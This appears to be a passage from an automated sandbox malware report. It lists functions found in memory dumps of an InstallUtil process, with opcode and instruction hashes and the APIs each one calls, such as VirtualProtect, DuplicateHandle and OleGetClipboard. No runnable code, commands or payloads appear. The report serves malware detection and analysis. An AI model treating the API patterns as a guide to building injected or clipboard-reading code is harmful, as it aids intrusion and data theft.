Opcode Fuzzy Hash: 7e5651615735e2e626aebc15c584443abaf0fa0e3702752a21f47b10f067f8be
Instruction Fuzzy Hash: 07514A34A04118CFDB14DF69D989BB9B7B3FF8A314F258065E105AB7A5C7B49C85CB80

Function 05529C88 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1505443760.0000000005520000.00000040.00000800.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5520000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ecd59ba3c30c302d817a58d9415014ddf3fac0c280f4a0fe1b1bc07313b8e9a
Instruction ID: 4332bf72303c77376b69434e44de2adf5f02577e0a902d77828d4a56ad2eb0fb
Opcode Fuzzy Hash: 7ecd59ba3c30c302d817a58d9415014ddf3fac0c280f4a0fe1b1bc07313b8e9a
Instruction Fuzzy Hash: D7514934A04118CFDB14CF59D589BB9B7B3FF8A314F248065E106AB7A5C7B09C85CB80

Function 0552A4B2 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1505443760.0000000005520000.00000040.00000800.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5520000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e240a8375a897b41ab77fc4067b9c0aa5726157bfc84dfffb7fde3d2ffc6dfa9
Instruction ID: 97b5c6c263cf0e06819fff279647219992295ad85189494cc12d867e2514fa07
Opcode Fuzzy Hash: e240a8375a897b41ab77fc4067b9c0aa5726157bfc84dfffb7fde3d2ffc6dfa9
Instruction Fuzzy Hash: E1518F30B00119CFEB18CB69D545BAA77E3BB8A314F28C079E4069B799DBF4AC45CB54

Function 0552A4C0 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1505443760.0000000005520000.00000040.00000800.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5520000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75c3f935fe0f8a6b367f0a1886c4e7f3bba13ca069576223a1c44c8b71225107
Instruction ID: dded423885e2743ee491fcc6735742893fdd53191e036d7fde6c3dfae9691b45
Opcode Fuzzy Hash: 75c3f935fe0f8a6b367f0a1886c4e7f3bba13ca069576223a1c44c8b71225107
Instruction Fuzzy Hash: 92515F30B00119CFEB18DB65D545BAA73E3BB8A314F288079E1069B799DBF46C45CB94

Function 053EDA10 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1504721041.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53e0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43df05db01e8aab2342c0977e38575a8bc1b4b60dd9fab1a34f806e1f2ae7327
Instruction ID: e1993dafd583b4857ccf19ad61689fc0ee7f0a1042c6ee10ccc78359cd2e390d
Opcode Fuzzy Hash: 43df05db01e8aab2342c0977e38575a8bc1b4b60dd9fab1a34f806e1f2ae7327
Instruction Fuzzy Hash: B1518A30B041158FDB18DB25D589BAA77E7FB84310F288869E002DF7E5DBB09D81CB54

Function 0582B370 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 209
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0582B3EE
GetCurrentThread.KERNEL32 ref: 0582B42B
GetCurrentProcess.KERNEL32 ref: 0582B468
GetCurrentThreadId.KERNEL32 ref: 0582B4E6
DuplicateHandle.KERNELBASE(00000000,00000000,05788664,?,00000000,0576F460,00000000,?,?,?,?), ref: 0582B607

Strings

d"?F, xrefs: 0582B38C
d"?F, xrefs: 0582B59F

Memory Dump Source

Source File: 00000006.00000002.1506717348.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5820000_InstallUtil.jbxd

Similarity

API ID: Current$ProcessThread$DuplicateHandle
String ID: d"?F$d"?F
API String ID: 4285418203-2807179360
Opcode ID: e29ff806e74499cd008dcfe1ba8e1ca791c9ec7ac55647f5f88fcdab5e50b27a
Instruction ID: d99f35e8d76d4ccfcf97b965497f0f546bf11d99557de516c1973cd512990f0a
Opcode Fuzzy Hash: e29ff806e74499cd008dcfe1ba8e1ca791c9ec7ac55647f5f88fcdab5e50b27a
Instruction Fuzzy Hash: AC9123B0D01649DFDB14CFAAD888BAEBBF5BF48310F20841AE819A7351D774A844CF61

Function 0582B32F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0582B3EE
GetCurrentThread.KERNEL32 ref: 0582B42B
GetCurrentProcess.KERNEL32 ref: 0582B468

Strings

d"?F, xrefs: 0582B38C

Memory Dump Source

Source File: 00000006.00000002.1506717348.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5820000_InstallUtil.jbxd

Similarity

API ID: Current$Process$Thread
String ID: d"?F
API String ID: 3242834020-1772675935
Opcode ID: e56f630ce8e75b6d4dc0a70edff8734aca768c17e62a0debfe2c3a7feb9d18df
Instruction ID: 57943866263afc6c08d38a74b3e95497f314847a2b627d0a14677516855aab39
Opcode Fuzzy Hash: e56f630ce8e75b6d4dc0a70edff8734aca768c17e62a0debfe2c3a7feb9d18df
Instruction Fuzzy Hash: CA6165B0901359DFDB14DFA9D888BAEBBF1BF48314F10C45AE819A7261D734A848CF65

Function 0582B360 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 141
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0582B3EE
GetCurrentThread.KERNEL32 ref: 0582B42B
GetCurrentProcess.KERNEL32 ref: 0582B468
GetCurrentThreadId.KERNEL32 ref: 0582B4E6

Strings

d"?F, xrefs: 0582B38C

Memory Dump Source

Source File: 00000006.00000002.1506717348.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5820000_InstallUtil.jbxd

Similarity

API ID: Current$ProcessThread
String ID: d"?F
API String ID: 2063062207-1772675935
Opcode ID: eb98506ea46800da56e6d6007f3a00c3af6c6c0b74d9cdc900754d442b5889ca
Instruction ID: 7ed1e5085ddbd798e1882507d7f9687d60abd43dad9ed905c14869e787f6d1b5
Opcode Fuzzy Hash: eb98506ea46800da56e6d6007f3a00c3af6c6c0b74d9cdc900754d442b5889ca
Instruction Fuzzy Hash: 655113B0D016598FDB14DFA9D488BAEBBF1BF48304F20C41AE819A7361D7749845CF61

Function 0576FCB7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MonitorFromPoint.USER32(?,?,00000002), ref: 0576FD8F

Strings

d"?F, xrefs: 0576FD27

Memory Dump Source

Source File: 00000006.00000002.1506166734.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5760000_InstallUtil.jbxd

Similarity

API ID: FromMonitorPoint
String ID: d"?F
API String ID: 1566494148-1772675935
Opcode ID: 35d88565c0a8d6e9d8c699394db8a8eb730d64f4b611a39ab7896a765a0a4bb3
Instruction ID: 3b6fe4881472fb4001d528cdaed109cd87c6c1db728df2e708b4a4a4711125d4
Opcode Fuzzy Hash: 35d88565c0a8d6e9d8c699394db8a8eb730d64f4b611a39ab7896a765a0a4bb3
Instruction Fuzzy Hash: C931EE708183989FDB11DF69D8947EEBFB0FF16314F10809AD885AB252C7346808DFA5

Function 0582B7E8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
comclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleGetClipboard.OLE32(?), ref: 0582B870

Strings

d"?F, xrefs: 0582B80A

Memory Dump Source

Source File: 00000006.00000002.1506717348.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5820000_InstallUtil.jbxd

Similarity

API ID: Clipboard
String ID: d"?F
API String ID: 220874293-1772675935
Opcode ID: 0ff2dd799fef0ec2461bc69a4b5c7a22ea899384a631b39fd8112d5fe323e054
Instruction ID: 2576bee4086b7afbc5e42ac9286505d1294e85c66e5a8a2e807f5305b2e58939
Opcode Fuzzy Hash: 0ff2dd799fef0ec2461bc69a4b5c7a22ea899384a631b39fd8112d5fe323e054
Instruction Fuzzy Hash: 7C31E1B4901258DFDB14CF99C985B8DBBF5BB48314F248019E508AB390D7B5A885CB55

Function 0582B7DD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 70
comclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleGetClipboard.OLE32(?), ref: 0582B870

Strings

d"?F, xrefs: 0582B80A

Memory Dump Source

Source File: 00000006.00000002.1506717348.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5820000_InstallUtil.jbxd

Similarity

API ID: Clipboard
String ID: d"?F
API String ID: 220874293-1772675935
Opcode ID: 0374265b03d052b541789e706a344f1902ac1a830da329e4ab97af1408b2d4df
Instruction ID: 71d31b9400d406977763768dda92dddf1458e004eb5603d118e7fb9c05e3792c
Opcode Fuzzy Hash: 0374265b03d052b541789e706a344f1902ac1a830da329e4ab97af1408b2d4df
Instruction Fuzzy Hash: 9F3101B4D02358DFDB14CF99C989B8DBBF1BF48304F248019E908BB290D7B49985CB55

Function 0582B134 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(00000000,00000000,05788664,?,00000000,0576F460,00000000,?,?,?,?), ref: 0582B607

Strings

d"?F, xrefs: 0582B59F

Memory Dump Source

Source File: 00000006.00000002.1506717348.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5820000_InstallUtil.jbxd

Similarity

API ID: DuplicateHandle
String ID: d"?F
API String ID: 3793708945-1772675935
Opcode ID: d383ccee133ae544332cc9183e3d4c634fe56c160d7665fdf468f62ab9c8a7f1
Instruction ID: 9e2aebd14612ed2a88d2001bb9efe486afe9fe44db50d1733f6f4573fda2ea75
Opcode Fuzzy Hash: d383ccee133ae544332cc9183e3d4c634fe56c160d7665fdf468f62ab9c8a7f1
Instruction Fuzzy Hash: 082103B5901248EFDB10CFAAD884ADEBFF4FB48320F14802AE954A3350D374A940CFA4

Function 0576FD10 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MonitorFromPoint.USER32(?,?,00000002), ref: 0576FD8F

Strings

d"?F, xrefs: 0576FD27

Memory Dump Source

Source File: 00000006.00000002.1506166734.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5760000_InstallUtil.jbxd

Similarity

API ID: FromMonitorPoint
String ID: d"?F
API String ID: 1566494148-1772675935
Opcode ID: 42375bfd619e2237c13c2b196de67a03cad1a91762f65c501d4bc2b4a1b3c2f0
Instruction ID: 195e78e57cf167a855035abe28c6435ef5ea1af4f393830852d492977f622fb5
Opcode Fuzzy Hash: 42375bfd619e2237c13c2b196de67a03cad1a91762f65c501d4bc2b4a1b3c2f0
Instruction Fuzzy Hash: 63219DB49002089FCB10DFAAD445BAEBFF5FB54714F20842AE856A7344CB356904CFA1

Function 0582B578 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(00000000,00000000,05788664,?,00000000,0576F460,00000000,?,?,?,?), ref: 0582B607

Strings

d"?F, xrefs: 0582B59F

Memory Dump Source

Source File: 00000006.00000002.1506717348.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5820000_InstallUtil.jbxd

Similarity

API ID: DuplicateHandle
String ID: d"?F
API String ID: 3793708945-1772675935
Opcode ID: 0147a0f2822fe8151fe8dd70f8b38b1d4aea7df62b19e0af5bc8d0926029b751
Instruction ID: d546374fb1eb4464b387271f0e96844b809663754182f56bdf7d65d20f5e67c3
Opcode Fuzzy Hash: 0147a0f2822fe8151fe8dd70f8b38b1d4aea7df62b19e0af5bc8d0926029b751
Instruction Fuzzy Hash: 7421E0B5911349EFDB10CFAAD584ADEBBF4FB08320F14841AE958A3350D378A944CF60

Function 0576FDF1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000050), ref: 0576FE83

Strings

d"?F, xrefs: 0576FE1F

Memory Dump Source

Source File: 00000006.00000002.1506166734.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5760000_InstallUtil.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID: d"?F
API String ID: 2492992576-1772675935
Opcode ID: 24802c09509e059f57e6aa40f941e91f7cc35dd3eaf6915a482e0cc54da5efdd
Instruction ID: 7a8fb0f34ce09ec2ee070dd6b5f2d75fa12d2e3bcd678acc46a782450b3173f0
Opcode Fuzzy Hash: 24802c09509e059f57e6aa40f941e91f7cc35dd3eaf6915a482e0cc54da5efdd
Instruction Fuzzy Hash: E02123B5C0424ACFDB00CFA9E5457AEBBB4BB08320F10815AD819A3281D7386904CFA1

Function 02AED1A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 02AED214

Strings

d"?F, xrefs: 02AED1BC

Memory Dump Source

Source File: 00000006.00000002.1487564412.0000000002AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2ae0000_InstallUtil.jbxd

Similarity

API ID: ProtectVirtual
String ID: d"?F
API String ID: 544645111-1772675935
Opcode ID: c02209b65900eca377f9ee3095b641f8343ecfd0cbdcb2b5c6d099ddb080e186
Instruction ID: 27c0428f63389ce9d8ce35838ce2c40fba5d7d39fbe41358afa1de78e84ce465
Opcode Fuzzy Hash: c02209b65900eca377f9ee3095b641f8343ecfd0cbdcb2b5c6d099ddb080e186
Instruction Fuzzy Hash: 4C11F4B19003499FDB10DFAAC884BEEFBF4FF48220F14842AD459A7240D7799945CFA1

Function 0576FE00 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000050), ref: 0576FE83

Strings

d"?F, xrefs: 0576FE1F

Memory Dump Source

Source File: 00000006.00000002.1506166734.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5760000_InstallUtil.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID: d"?F
API String ID: 2492992576-1772675935
Opcode ID: c7df9600ad1081b976bc915e4de788f5db0a244528275b35a463ce6857bff75e
Instruction ID: a3418dc1c28a6ea000c6a6c4dd9ccf5955e4931152b2b2fd61cd76530a0e96de
Opcode Fuzzy Hash: c7df9600ad1081b976bc915e4de788f5db0a244528275b35a463ce6857bff75e
Instruction Fuzzy Hash: A42149B5D0435ACFCB10DFA9E4456EEBBB4BB08320F10815AD819B3381D7346904CFA5

Function 0582B14C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 0582B6F5

Strings

d"?F, xrefs: 0582B6BA

Memory Dump Source

Source File: 00000006.00000002.1506717348.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5820000_InstallUtil.jbxd

Similarity

API ID: Initialize
String ID: d"?F
API String ID: 2538663250-1772675935
Opcode ID: 7d7467f0bf3d155c1e0de562f5a1269f501e6559f8270689bc41d0492a587da8
Instruction ID: d828a7bb0cc99e2394d0d28367fe17a2ebe6c19c507dc622c4628224a5b83b9b
Opcode Fuzzy Hash: 7d7467f0bf3d155c1e0de562f5a1269f501e6559f8270689bc41d0492a587da8
Instruction Fuzzy Hash: 301130B5804348CFCB20CF9AC484B9EBBF4EB48224F20846AD959A3300D379A944CFA4

Function 0582B699 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 0582B6F5

Strings

d"?F, xrefs: 0582B6BA

Memory Dump Source

Source File: 00000006.00000002.1506717348.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5820000_InstallUtil.jbxd

Similarity

API ID: Initialize
String ID: d"?F
API String ID: 2538663250-1772675935
Opcode ID: f23400bbcc36ce3c141c60bf0cc8d450423110d0c43c7404d801684e7af05bba
Instruction ID: 66cf2d316296222a595fbe7c18a1eb11295d4ac21909b7e78333e9b095bc2421
Opcode Fuzzy Hash: f23400bbcc36ce3c141c60bf0cc8d450423110d0c43c7404d801684e7af05bba
Instruction Fuzzy Hash: D81142B5800348CFDB20CF9AC544BDEBBF4AB08324F20882AD819A3340C378A944CFA4

Function 02AED350 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 02AED3B2

Strings

d"?F, xrefs: 02AED367

Memory Dump Source

Source File: 00000006.00000002.1487564412.0000000002AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2ae0000_InstallUtil.jbxd

Similarity

API ID: CloseHandle
String ID: d"?F
API String ID: 2962429428-1772675935
Opcode ID: 0fa675f94614355670c43927a62debf80fda32edc73b740340d70957694a98c4
Instruction ID: 6cab949b040362e0b189777056f5efa003d7f397d9bb8c0583741a401942d8c9
Opcode Fuzzy Hash: 0fa675f94614355670c43927a62debf80fda32edc73b740340d70957694a98c4
Instruction Fuzzy Hash: D7113A719003498FDB14DFAAC4457DEFBF4EF48224F148459D559A7240CB796944CBA4

Function 05DBAB20 Relevance: 2.0, Strings: 1, Instructions: 794COMMON

Download Yara Rule

Strings

2, xrefs: 05DBB367

Memory Dump Source

Source File: 00000006.00000002.1509942567.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5db0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: 087ddb748685161e47ea9c85f09d4124500fa8fb400ae4c825957d0c6b37f68b
Instruction ID: 1badc5a078ac39663ed32d0b02acf173b9363ae6b4abdad53609e0310ef8f815
Opcode Fuzzy Hash: 087ddb748685161e47ea9c85f09d4124500fa8fb400ae4c825957d0c6b37f68b
Instruction Fuzzy Hash: 5D720A34A00228CFDB54EF65D895AAD7BF2FB89300F5084AAE40AD7359EB709D85CF51

Function 053E0040 Relevance: 1.8, Strings: 1, Instructions: 599COMMON

Download Yara Rule

Strings

2, xrefs: 053E04B6

Memory Dump Source

Source File: 00000006.00000002.1504721041.00000000053E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_53e0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: 315a98e2a5dd0e5fac2ca21587041e74a6b4026c29142388281d3e5df0e12e23
Instruction ID: 5d04753043193cba5d7739dfe533c0af29fcf39c9ef937c0af512fdcdbc84f88
Opcode Fuzzy Hash: 315a98e2a5dd0e5fac2ca21587041e74a6b4026c29142388281d3e5df0e12e23
Instruction Fuzzy Hash: 24422874A00619CFDB28DF69E594BADB7F2BB88304F5080A9D409DB395DBB0AD81CF51

Function 05842DCB Relevance: 1.8, Strings: 1, Instructions: 562COMMON

Download Yara Rule

Strings

AB, xrefs: 0584E526

Memory Dump Source

Source File: 00000006.00000002.1506834635.0000000005840000.00000040.00000800.00020000.00000000.sdmp, Offset: 05840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5840000_InstallUtil.jbxd

Similarity

API ID:
String ID: AB
API String ID: 0-2508311140
Opcode ID: 9aa5356557bcd1b69957adeab17db950e46011e2b16b48ca2d02ca34f4ac95cc
Instruction ID: ba36ddbf1a6485a0ee9bbe32619a929ce9352960245faf575324380720684a0d
Opcode Fuzzy Hash: 9aa5356557bcd1b69957adeab17db950e46011e2b16b48ca2d02ca34f4ac95cc
Instruction Fuzzy Hash: B642C678A102199FDB68EF68D8957ADBBB1FF89300F4044E9D50EA7290DE306E85CF54

Function 0554DB98 Relevance: 1.6, Strings: 1, Instructions: 339COMMON

Download Yara Rule

Strings

d, xrefs: 0554DDF9

Memory Dump Source

Source File: 00000006.00000002.1505645656.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5540000_InstallUtil.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: ce58b48cbb7f9b9fc5b6543c2abef16201e1f025f50f1a6dcd66941f5cf5d8eb
Instruction ID: 4404ec2a64039eaf3730e69fa0012f08de7e33f87cb5c834a454f3a0a7c839fe
Opcode Fuzzy Hash: ce58b48cbb7f9b9fc5b6543c2abef16201e1f025f50f1a6dcd66941f5cf5d8eb
Instruction Fuzzy Hash: 71D167356006068FCB24DF68C484A6AB7F2FF88314B56C969E45A9B365DB30FC52CF94

Function 0576A4A1 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1506166734.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5760000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9b15741d4426cca76c70cfaa425cabec36be3dd89335e48bacc6d0ff7515f6a
Instruction ID: 0d5547787aa59204a6bee7d5b6b661eb6f6f25b8f99962661c568df3b7fcd460
Opcode Fuzzy Hash: d9b15741d4426cca76c70cfaa425cabec36be3dd89335e48bacc6d0ff7515f6a
Instruction Fuzzy Hash: 9FE0463520C210AFC382CB98D891824BF62EB85228319C0AAAC4CDBB93DA33DC16C651

Function 0705B710 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0705B721

Memory Dump Source

Source File: 00000006.00000002.1512568386.0000000007050000.00000040.00000800.00020000.00000000.sdmp, Offset: 07050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7050000_InstallUtil.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2f9c937b705b733c9644217cffe37b903ab6a11d94893328ab2d7921f8117b8c
Instruction ID: 89f7625bcd3042e5662e2b0f59687678129b36ffb3fe7dec0c562e4284fda470
Opcode Fuzzy Hash: 2f9c937b705b733c9644217cffe37b903ab6a11d94893328ab2d7921f8117b8c
Instruction Fuzzy Hash: 05C04C753042085F9344DA9DD851C26F7E9DBD8614714C06DA90DC7351EA72FD13C694

Function 052E0B28 Relevance: 1.4, Instructions: 1383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1503503289.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52e0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3cf817e1d9ad0512461b0418c6b88a78a2221b23350714c678ff28d1f883db2
Instruction ID: 389be3154a532d979607ce71315c7632bc2117ca1e606b24adb205979f2fc5d1
Opcode Fuzzy Hash: c3cf817e1d9ad0512461b0418c6b88a78a2221b23350714c678ff28d1f883db2
Instruction Fuzzy Hash: 31A2A336F302168B9F259A65645473EA6FBBFC9650B948039E90FDB344DEB08C11C7B2

Function 0554ED4F Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

=, xrefs: 0554ED58

Memory Dump Source

Source File: 00000006.00000002.1505645656.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5540000_InstallUtil.jbxd

Similarity

API ID:
String ID: =
API String ID: 0-2322244508
Opcode ID: 18582715dd2f9986a8b78ce431540a4d5e37dac8f88bb50ec2ac9c829461f640
Instruction ID: 0d96b4629ec41ab2fabbd818047dfaac01d2870b3269c206ffea3f5384a0dc0c
Opcode Fuzzy Hash: 18582715dd2f9986a8b78ce431540a4d5e37dac8f88bb50ec2ac9c829461f640
Instruction Fuzzy Hash: E5014C76A4A3858FCB1206686C55398FF76FB43658F4600BBD445C7282D520894B8FA2

Function 05DBFEE8 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

d"?F, xrefs: 05DBFF02

Memory Dump Source

Source File: 00000006.00000002.1509942567.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5db0000_InstallUtil.jbxd

Similarity

API ID:
String ID: d"?F
API String ID: 0-1772675935
Opcode ID: 9319828178ca2cd500290b6394b036efee957a2975a49e12e193874072282094
Instruction ID: 05d859f91c0beea36de70324b42ebd37b4d609bb76743954187bf9095bfa7bdf
Opcode Fuzzy Hash: 9319828178ca2cd500290b6394b036efee957a2975a49e12e193874072282094
Instruction Fuzzy Hash: 171132B680024AEFDB10CF9AC844BDEBFF5EB48320F14841AE918A7250C379A554CFA1

Function 0554A610 Relevance: .5, Instructions: 541COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1505645656.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5540000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f6d0ab5c71e998b5eb556ab34d4ea8708c5272826e6d7d8a73f3677ccc9f0a4
Instruction ID: 5da605815038e26c457d201096be21b61a7e8c37e2d1dcb8c50a7b096c7c6a32
Opcode Fuzzy Hash: 2f6d0ab5c71e998b5eb556ab34d4ea8708c5272826e6d7d8a73f3677ccc9f0a4
Instruction Fuzzy Hash: 60227935A502059FDB44DFA8D490AADBBB3FF88314F158469E906EB3A1DB71ED40CB90

Function 05528B28 Relevance: .5, Instructions: 502COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1505443760.0000000005520000.00000040.00000800.00020000.00000000.sdmp, Offset: 05520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5520000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 389c976b62adb45521744be10ce23deaefa6e62176e30f9ab268b4f03e24c9fc
Instruction ID: b3e785037582797b081a39e93286c6f5a510a5fc56b33200592cc7bcdd11a58a
Opcode Fuzzy Hash: 389c976b62adb45521744be10ce23deaefa6e62176e30f9ab268b4f03e24c9fc
Instruction Fuzzy Hash: E302AD35B006158FDB18DFA8C484AAEBBF6FF89310B148529D44ADB780DA34ED42CB95

Function 0554E0E0 Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1505645656.0000000005540000.00000040.00000800.00020000.00000000.sdmp, Offset: 05540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5540000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20108277818cdce4d841ce9e42cd0f1d245c1159627e3b7b392a40bf1fc44b8b
Instruction ID: 851af21d43da2cf67b893ced40e6a463fd61fa44ac50586605724367c541d5da
Opcode Fuzzy Hash: 20108277818cdce4d841ce9e42cd0f1d245c1159627e3b7b392a40bf1fc44b8b
Instruction Fuzzy Hash: AA127B71A002059FCB25DFA9D895AAEB7B6FF88304F14852DE40A9B354DB31EC46CF91

Function 052E6B88 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

